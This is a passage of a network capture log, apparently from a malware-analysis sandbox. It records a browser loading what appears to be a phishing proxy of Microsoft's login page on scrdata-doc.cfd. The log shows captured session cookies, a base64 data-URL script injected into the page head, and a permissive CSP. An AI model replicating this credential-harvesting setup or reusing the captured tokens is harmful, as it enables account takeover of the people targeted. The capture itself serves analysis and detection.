0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-26 11:21:14 UTC	2443	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4dba0eb5-f220-4306-880f-eed097d26d01 x-ms-ests-server: 2.1.17846.6 - SEC ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; expires=Sun, 26-May-2024 11:21:14 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; domain=r6duftx9uh6.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; domain=r6duftx9uh6.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; expires=Sun, 26-May-2024 11:21:14 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Fri, 26 Apr 2024 11:21:13 GMT Connection: close content-length: 39093 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:14 UTC	13941	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-04-26 11:21:14 UTC	16384	IN	Data Raw: 69 44 38 45 4e 30 33 56 62 54 6a 77 55 49 68 32 33 51 55 67 39 53 41 7a 44 77 72 5f 4e 45 4e 6c 55 51 2d 38 41 47 41 46 77 42 4d 42 77 51 6f 71 45 6f 30 4a 4d 51 68 4b 4b 52 42 45 53 4a 52 67 57 67 6d 6f 34 41 6d 4d 38 67 68 77 55 44 63 77 4a 57 69 7a 47 78 51 78 42 35 36 4b 71 5a 71 42 71 47 49 5a 46 46 52 31 4f 7a 4f 54 6c 6a 6d 75 69 4d 5a 47 32 31 64 50 50 4a 6e 77 47 61 64 75 56 46 6e 48 63 41 62 32 65 78 49 36 55 49 76 4a 36 55 6b 34 6b 2d 48 78 31 4b 39 73 70 4a 72 4d 59 4c 39 33 62 51 41 33 59 4d 31 4c 61 4d 68 5a 62 57 69 6d 7a 72 42 66 56 55 72 55 6c 57 6b 71 39 46 53 74 6e 79 71 6c 55 49 79 38 4b 34 6e 32 6c 6d 4e 45 36 64 63 56 4f 56 36 31 53 51 74 41 4b 71 32 75 34 74 68 4c 42 57 49 49 5a 76 52 64 31 43 6d 6a 70 44 6d 65 5a 31 70 44 2d 72 38 Data Ascii: iD8EN03VbTjwUIh23QUg9SAzDwr_NENlUQ-8AGAFwBMBwQoqEo0JMQhKKRBESJRgWgmo4AmM8ghwUDcwJWizGxQxB56KqZqBqGIZFFR1OzOTljmuiMZG21dPPJnwGaduVFnHcAb2exI6UIvJ6Uk4k-Hx1K9spJrMYL93bQA3YM1LaMhZbWimzrBfVUrUlWkq9FStnyqlUIy8K4n2lmNE6dcVOV61SQtAKq2u4thLBWIIZvRd1CmjpDmeZ1pD-r8
2024-04-26 11:21:14 UTC	8768	IN	Data Raw: 65 72 5d 3a 20 4c 6f 61 64 69 6e 67 20 27 22 2b 28 61 2e 73 72 63 50 61 74 68 7c 7c 22 22 29 2b 22 27 2c 20 69 64 3a 22 2b 28 61 2e 69 64 7c 7c 22 22 29 29 7d 65 6c 73 65 7b 6f 26 26 6f 28 29 7d 7d 76 61 72 20 70 3d 65 28 29 2c 79 3d 70 2e 73 6c 4d 61 78 52 65 74 72 79 7c 7c 32 2c 6d 3d 70 2e 6c 6f 61 64 65 72 7c 7c 7b 7d 2c 62 3d 6d 2e 63 64 6e 52 6f 6f 74 73 7c 7c 5b 5d 2c 24 3d 6d 2e 74 65 6e 61 6e 74 42 72 61 6e 64 69 6e 67 43 64 6e 52 6f 6f 74 73 7c 7c 5b 5d 2c 77 3d 74 68 69 73 2c 45 3d 5b 5d 3b 77 2e 72 65 74 72 79 4f 6e 45 72 72 6f 72 3d 21 30 2c 77 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 4c 6f 61 64 65 64 22 2c 77 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 45 72 72 6f 72 22 2c 77 2e 41 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 74 Data Ascii: er]: Loading '"+(a.srcPath\|\|"")+"', id:"+(a.id\|\|""))}else{o&&o()}}var p=e(),y=p.slMaxRetry\|\|2,m=p.loader\|\|{},b=m.cdnRoots\|\|[],$=m.tenantBrandingCdnRoots\|\|[],w=this,E=[];w.retryOnError=!0,w.successMessage="Loaded",w.failMessage="Error",w.Add=function(e,r,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:15 UTC	2270	OUT	GET /favicon.ico HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49737	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:16 UTC	2755	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
2024-04-26 11:21:17 UTC	947	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=31536000 Content-Length: 20314 Content-Type: text/css Content-Encoding: gzip Content-MD5: kqhA3D0Xczna4D/t8ioitQ== Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B X-Cache: TCP_HIT x-ms-request-id: b064ee30-e01e-0054-2ad0-8f2aa5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * X-Azure-Ref-OriginShield: 0hikeZgAAAADFMNY6rdWHSZk+RLV3+0yfQU1TMDRFREdFMTkwNwAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY= X-Azure-Ref: 0LI4rZgAAAAATTxYnXzqmT441hYWVrq60TE9OMjEyMDUwNzEyMDE5ADM5YTEyZjdlLTg5OWYtNDZjZi1hNmQwLTI0YmJiYTI3ZDk1Ng== Date: Fri, 26 Apr 2024 11:21:16 GMT Connection: close
2024-04-26 11:21:17 UTC	15437	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-04-26 11:21:17 UTC	4877	IN	Data Raw: a4 ca 54 27 bf 78 75 3a 94 57 d0 ad 28 bc fb 9d d0 a4 f0 1b 91 85 1a 34 e2 08 85 68 c4 91 aa d1 88 a4 95 a4 11 4d aa 4b 23 12 53 9c 16 0c aa 42 cd 28 ed dc 64 6a d5 88 c1 15 cc 41 91 aa e6 00 b8 d2 d9 c5 78 86 9c 2f 65 c9 bc da d5 d8 ba 1d b0 eb fc 7b 22 3d 14 34 f4 8f bc e8 8f c6 9c f9 47 9e cd 6a 15 96 69 95 92 32 78 cd e7 10 64 b3 e0 17 da f1 8b d3 5b 52 0d e1 13 49 03 7b 8b 83 df e9 ce 9f 23 10 77 fa ea eb 7d 79 eb 11 ab 2d f3 75 b1 d9 44 a4 ea 22 20 d6 45 09 41 36 3d ae 63 fa 4f 4b 7f 86 e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 Data Ascii: T'xu:W(4hMK#SB(djAx/e{"=4Gji2xd[RI{#w}y-uD" EA6=cOKa}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49736	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:16 UTC	2732	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; 